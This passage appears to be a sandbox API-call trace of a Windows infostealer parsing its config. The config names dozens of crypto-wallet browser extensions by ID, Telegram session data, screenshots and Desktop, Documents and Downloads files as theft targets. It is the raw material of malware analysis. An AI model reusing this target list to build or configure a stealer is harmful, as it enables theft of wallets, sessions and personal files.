Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.203] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.204] LocalFree (hMem=0x6b9720) returned 0x0 [0260.204] LocalFree (hMem=0x6bad48) returned 0x0 [0260.204] LocalFree (hMem=0x6bc370) returned 0x0 [0260.204] StrStrW (lpFirst="ews_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.204] lstrlenW (lpString="ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2750 [0260.204] lstrlenW (lpString="ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2750 [0260.205] LocalAlloc (uFlags=0x40, uBytes=0x157c) returned 0x6b9720 [0260.205] lstrlenW (lpString="ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2750 [0260.205] LocalAlloc (uFlags=0x40, uBytes=0x157c) returned 0x6baca8 [0260.205] lstrlenW (lpString="ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2750 [0260.205] LocalAlloc (uFlags=0x40, uBytes=0x157c) returned 0x6bc230 [0260.205] StrStrW (lpFirst="ews_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension 